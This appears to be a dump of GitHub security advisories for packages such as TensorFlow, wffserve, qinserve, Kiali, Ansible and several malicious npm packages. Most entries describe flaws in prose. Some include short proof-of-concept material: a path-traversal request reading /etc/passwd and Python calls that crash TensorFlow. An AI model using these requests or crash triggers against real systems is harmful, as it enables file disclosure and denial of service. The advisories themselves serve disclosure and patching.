Summary: High severity vulnerability that affects Microsoft.ChakraCore
Aliases: CVE-2019-0746
Severity: MODERATE
CVSS score: 6.5
Published: 2019-04-09T19:43:38Z

An information disclosure vulnerability exists when the scripting engine does not properly handle objects in memory in Microsoft Edge, aka 'Scripting Engine Information Disclosure Vulnerability'.
Vulnerability: GHSA-2p6r-37p9-89p2
Summary: Authz Module Non-Determinism
Aliases: CVE-2021-41135
Severity: MODERATE
CVSS score: 6.5
CWE: CWE-754
Published: 2021-10-21T17:46:57Z

### Impact

Consensus failure for 0.43.x and 0.44.{0,1} users. 
Funds and balances are safe.

### Patches

0.44.2

### Workarounds

Manually patch the code.

---

Full details posted in https://forum.cosmos.network/t/cosmos-sdk-vulnerability-retrospective-security-advisory-jackfruit-october-12-2021/5349.
Vulnerability: GHSA-wqr3-24xm-fxhq
Summary: Directory Traversal in wffserve
Aliases: CVE-2017-16168
Severity: HIGH
CVSS score: 0
CWE: CWE-22
Published: 2020-09-01T17:31:22Z

Affected versions of `wffserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-j8qr-rvcv-crhv
Summary: Malicious Package in electron-native-notify
Severity: CRITICAL
CVSS score: 0
Published: 2020-09-11T21:18:05Z

All versions of `electron-native-notify` contain malicious code. The package was part of a targeted attack to steal cryptocurrency wallet seeds and upload them to a remote server, effectively giving attackers access to users wallets.


## Recommendation

Remove the package from your environment and [follow the recommendations by Komodo](https://komodoplatform.com/vulnerability-discovered-in-komodos-agama-wallet-this-is-what-you-need-to-do/)
Vulnerability: GHSA-6mh3-j5r5-2379
Summary: Cross-Site Scripting in Query Generator & Query View
Aliases: CVE-2021-32668
Severity: MODERATE
CVSS score: 6.4
CWE: CWE-79
Published: 2021-07-22T19:36:58Z

> ### Meta
> * CVSS: `CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N/E:F/RL:O/RC:C` (4.5)

### Problem
Failing to properly encode error messages, the components _QueryGenerator_ and _QueryView_ are vulnerable to both reflected and persistent cross-site scripting. A valid backend user account having administrator privileges is needed to exploit this vulnerability.

### Solution
Update to TYPO3 versions 8.7.41 ELTS, 9.5.28, 10.4.18, 11.3.1 that fix the problem described.

### Credits
Thanks to Richie Lee who reported this issue and to TYPO3 security team member Oliver Hader who fixed the issue.

### References
* [TYPO3-CORE-SA-2021-010](https://typo3.org/security/advisory/typo3-core-sa-2021-010)
Vulnerability: GHSA-r4pj-74mg-8868
Summary: Division by 0 in `Conv2DBackpropFilter`
Aliases: CVE-2021-29524
Severity: LOW
CVSS score: 2.5
CWE: CWE-369
Published: 2021-05-21T14:21:47Z

### Impact
An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropFilter`:

```python
import tensorflow as tf

input_tensor = tf.constant([], shape=[0, 0, 1, 0], dtype=tf.float32)
filter_sizes = tf.constant([1, 1, 1, 1], shape=[4], dtype=tf.int32)
out_backprop = tf.constant([], shape=[0, 0, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropFilter(input=input_tensor, filter_sizes=filter_sizes,
                                out_backprop=out_backprop,
                                strides=[1, 66, 18, 1], use_cudnn_on_gpu=True,
                                padding='SAME', explicit_paddings=[],
                                data_format='NHWC', dilations=[1, 1, 1, 1])
```                 
                    
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/496c2630e51c1a478f095b084329acedb253db6b/tensorflow/core/kernels/conv_grad_shape_utils.cc#L130) does a modulus operation where the divisor is controlled by the caller:

```cc 
  if (dims->in_depth % filter_shape.dim_size(num_dims - 2)) { ... }
```
    
### Patches
We have patched the issue in GitHub commit [fca9874a9b42a2134f907d2fb46ab774a831404a](https://github.com/tensorflow/tensorflow/commit/fca9874a9b42a2134f907d2fb46ab774a831404a).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
  
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Vulnerability: GHSA-fmqw-vqh5-cwq9
Summary: Apache NiFi user log out issue
Aliases: CVE-2019-12421
Severity: HIGH
CVSS score: 8.8
CWE: CWE-613
Published: 2019-12-02T18:19:39Z

When using an authentication mechanism other than PKI, when the user clicks Log Out in NiFi versions 1.0.0 to 1.9.2, NiFi invalidates the authentication token on the client side but not on the server side. This permits the user's client-side token to be used for up to 12 hours after logging out to make API requests to NiFi.
Vulnerability: GHSA-98j8-c9q4-r38g
Summary: Memory exhaustion in Tensorflow
Aliases: CVE-2022-21733
Severity: MODERATE
CVSS score: 4.3
CWE: CWE-400, CWE-190
Published: 2022-02-10T00:20:51Z

### Impact 
The [implementation of `StringNGrams`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/string_ngrams_op.cc#L29-L161) can be used to trigger a denial of service attack by causing an OOM condition after an integer overflow:

```python
import tensorflow as tf

tf.raw_ops.StringNGrams(
  data=['123456'],
  data_splits=[0,1],
  separator='a'*15,
  ngram_widths=[],
  left_pad='',
  right_pad='',
  pad_width=-5, 
  preserve_short_sequences=True)
```

We are missing a validation on `pad_witdh` and that result in computing a negative value for `ngram_width` which is later used to allocate parts of the output.

### Patches
We have patched the issue in GitHub commit [f68fdab93fb7f4ddb4eb438c8fe052753c9413e8](https://github.com/tensorflow/tensorflow/commit/f68fdab93fb7f4ddb4eb438c8fe052753c9413e8).

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.
Vulnerability: GHSA-64rh-r86q-75ff
Summary: Hard coded cryptographic key in Kiali
Aliases: CVE-2020-1764
Severity: HIGH
CVSS score: 8.6
CWE: CWE-798, CWE-321
Published: 2021-05-18T18:28:59Z

A hard-coded cryptographic key vulnerability in the default configuration file was found in Kiali, all versions prior to 1.15.1. A remote attacker could abuse this flaw by creating their own JWT signed tokens and bypass Kiali authentication mechanisms, possibly gaining privileges to view and alter the Istio configuration.
Vulnerability: GHSA-74w3-2r77-fw5h
Summary: Use of Externally-Controlled Format String in consoleme
Aliases: CVE-2022-27177
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-134
Published: 2022-04-03T00:00:58Z

A Python format string issue leading to information disclosure and potentially remote code execution in ConsoleMe for all versions prior to 1.2.2
Vulnerability: GHSA-w5gh-2wr2-pm6g
Summary: Denial of Service in Tensorflow
Aliases: CVE-2020-15206
Severity: CRITICAL
CVSS score: 9
CWE: CWE-20
Published: 2020-09-25T18:28:40Z

### Impact
Changing the TensorFlow's `SavedModel` protocol buffer and altering the name of required keys results in segfaults and data corruption while loading the model. This can cause a denial of service in products using `tensorflow-serving` or other inference-as-a-service installments.

We have added fixes to this in f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d (both going into TensorFlow 2.2.0 and 2.3.0 but not yet backported to earlier versions). However, this was not enough, as #41097 reports a different failure mode.

### Patches
We have patched the issue in adf095206f25471e864a8e63a0f1caef53a0e3a6 and will release patch releases for all versions between 1.15 and 2.3. Patch releases for versions between 1.15 and 2.1 will also contain cherry-picks of f760f88b4267d981e13f4b302c437ae800445968 and fcfef195637c6e365577829c4d67681695956e7d.

We recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Shuaike Dong, from Alipay Tian Qian Security Lab && Lab for Applied Security Research, CUHK.
Vulnerability: GHSA-9h4h-8w5p-f28w
Summary: Denial of Service in geth
Aliases: CVE-2018-19184
Severity: HIGH
CVSS score: 7.5
CWE: CWE-476
Published: 2021-06-29T21:23:15Z

cmd/evm/runner.go in Go Ethereum (aka geth) allows attackers to cause a denial of service (SEGV) via crafted bytecode.
Vulnerability: GHSA-m429-fhmv-c6q2
Summary: Improper Verification of Cryptographic Signature
Aliases: CVE-2020-14365
Severity: HIGH
CVSS score: 7.1
CWE: CWE-347
Published: 2021-04-20T16:44:07Z

A flaw was found in the Ansible Engine, in ansible-engine 2.8.x before 2.8.15 and ansible-engine 2.9.x before 2.9.13, when installing packages using the dnf module. GPG signatures are ignored during installation even when disable_gpg_check is set to False, which is the default behavior. This flaw leads to malicious packages being installed on the system and arbitrary code executed via package installation scripts. The highest threat from this vulnerability is to integrity and system availability.
Vulnerability: GHSA-4jfq-q299-g4cr
Summary: Malicious Package in reqquest
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-02T20:28:57Z

All versions of `reqquest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.


## Recommendation

Remove the package from your dependencies and always ensure package names are typed correctly upon installation.
Vulnerability: GHSA-f9pg-g9xw-r5g2
Summary: SQL Injection in Jeecg-boot
Aliases: CVE-2022-22881
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-89
Published: 2022-02-17T00:00:25Z

Jeecg-boot v3.0 was discovered to contain a SQL injection vulnerability via the code parameter in /sys/user/queryUserComponentData.
Vulnerability: GHSA-cxwc-8pqp-2whw
Summary: Directory Traversal in qinserve
Aliases: CVE-2017-16197
Severity: HIGH
CVSS score: 0
CWE: CWE-22
Published: 2020-09-01T18:20:40Z

Affected versions of `qinserve` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-rvj9-8cvx-3vq9
Summary: Invalid Curve Attack in node-jose
Aliases: CVE-2017-16007
Severity: HIGH
CVSS score: 0
CWE: CWE-200
Published: 2018-07-20T21:10:14Z

Affected versions of `node-jose` are vulnerable to an invalid curve attack. This allows an attacker to recover the private secret key when JWE with Key Agreement with Elliptic Curve Diffie-Hellman Ephemeral Static (ECDH-ES) is used.

[Proof of Concept](https://gist.github.com/asanso/fa25685348051ef6a28d49aa0f27a4ae)


## Recommendation

Update to version 0.9.3 or later.